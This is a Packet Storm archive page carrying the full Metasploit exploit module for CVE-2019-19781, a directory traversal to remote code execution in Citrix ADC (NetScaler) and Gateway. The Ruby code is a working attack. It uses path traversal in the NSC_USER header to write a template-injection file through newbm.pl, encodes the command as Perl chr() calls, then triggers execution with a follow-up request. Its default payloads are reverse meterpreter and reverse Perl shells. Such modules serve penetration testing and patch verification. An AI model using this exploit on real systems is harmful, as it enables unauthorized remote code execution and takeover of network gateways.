exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Citrix ADC (NetScaler) Directory Traversal / Remote Code Execution

Citrix ADC (NetScaler) Directory Traversal / Remote Code Execution
Posted Jan 14, 2020
Authored by Ramella Sebastien, Project Zero India | Site metasploit.com

This Metasploit module exploits a directory traversal in Citrix Application Delivery Controller (ADC), aka NetScaler, and Gateway 10.5, 11.1, 12.0, 12.1, and 13.0, to execute an arbitrary command payload.

tags | exploit, arbitrary
advisories | CVE-2019-19781
SHA-256 | 0f0c8e65ca7fee56037d7ddffc1e77aeffb0987b8111f2b772dbffe0b1b1fb89

Citrix ADC (NetScaler) Directory Traversal / Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::CheckModule
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'Citrix ADC (NetScaler) Directory Traversal RCE',
'Description' => %q{
This module exploits a directory traversal in Citrix Application Delivery Controller (ADC), aka
NetScaler, and Gateway 10.5, 11.1, 12.0, 12.1, and 13.0, to execute an arbitrary command payload.
},
'Author' => [
'Project Zero India', 'TrustedSec', # PoCs
'mekhalleh (RAMELLA Sébastien)' # Module (https://www.pirates.re/)
],
'References' => [
['CVE', '2019-19781'],
['EDB', '47901'],
['EDB', '47902'],
['URL', 'https://support.citrix.com/article/CTX267027/'],
['URL', 'https://www.mdsec.co.uk/2020/01/deep-dive-to-citrix-adc-remote-code-execution-cve-2019-19781/']
],
'DisclosureDate' => '2019-12-17',
'License' => MSF_LICENSE,
'Platform' => ['python', 'unix'],
'Arch' => [ARCH_PYTHON, ARCH_CMD],
'Privileged' => false,
'Targets' => [
['Python',
'Platform' => 'python',
'Arch' => ARCH_PYTHON,
'Type' => :python,
'DefaultOptions' => {'PAYLOAD' => 'python/meterpreter/reverse_tcp'}
],
['Unix Command',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_command,
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_perl'}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'CheckModule' => 'auxiliary/scanner/http/citrix_dir_traversal',
'HttpClientTimeout' => 3.5
},
'Notes' => {
'AKA' => ['Shitrix'],
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
))

register_options([
OptString.new('TARGETURI', [true, 'Base path', '/'])
])

register_advanced_options([
OptBool.new('ForceExploit', [false, 'Override check result', false])
])
end

def cmd_unix_generic?
datastore['PAYLOAD'] == 'cmd/unix/generic'
end

def exploit
unless datastore['ForceExploit']
case check
when CheckCode::Vulnerable
print_good('The target appears to be vulnerable')
when CheckCode::Safe
fail_with(Failure::NotVulnerable, 'The target does not appear to be vulnerable')
else
fail_with(Failure::Unknown, 'The target vulnerability state is unknown')
end
end

print_status("Yeeting #{datastore['PAYLOAD']} payload at #{peer}")
vprint_status("Generated payload: #{payload.encoded}")

case target['Type']
when :python
execute_command(%(/var/python/bin/python2 -c "#{payload.encoded}"))
when :unix_command
if (res = execute_command(payload.encoded)) && cmd_unix_generic?
print_line(res.get_html_document.text.gsub(/undef error - Attempt to bless.*/m, ''))
end
end
end

def execute_command(cmd, _opts = {})
filename = rand_text_alpha(8..42)
nonce = rand_text_alpha(8..42)

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/vpn/../vpns/portal/scripts/newbm.pl'),
'headers' => {
'NSC_USER' => "../../../netscaler/portal/templates/#{filename}",
'NSC_NONCE' => nonce
},
'vars_post' => {
'url' => rand_text_alpha(8..42),
'title' => "[%template.new({'BLOCK'='print readpipe(#{chr_payload(cmd)})'})%]"
}
)

unless res && res.code == 200
print_error('No response to POST newbm.pl request')
return
end

res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "/vpn/../vpns/portal/#{filename}.xml"),
'headers' => {
'NSC_USER' => rand_text_alpha(8..42),
'NSC_NONCE' => nonce
},
'partial' => true
)

unless res && res.code == 200
print_warning("No response to GET #{filename}.xml request")
end

register_files_for_cleanup(
"/netscaler/portal/templates/#{filename}.xml",
"/var/tmp/netscaler/portal/templates/#{filename}.xml.ttc2"
)

res
end

def chr_payload(cmd)
cmd.each_char.map { |c| "chr(#{c.ord})" }.join('.')
end

end
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    0 Files
  • 12
    Nov 12th
    0 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close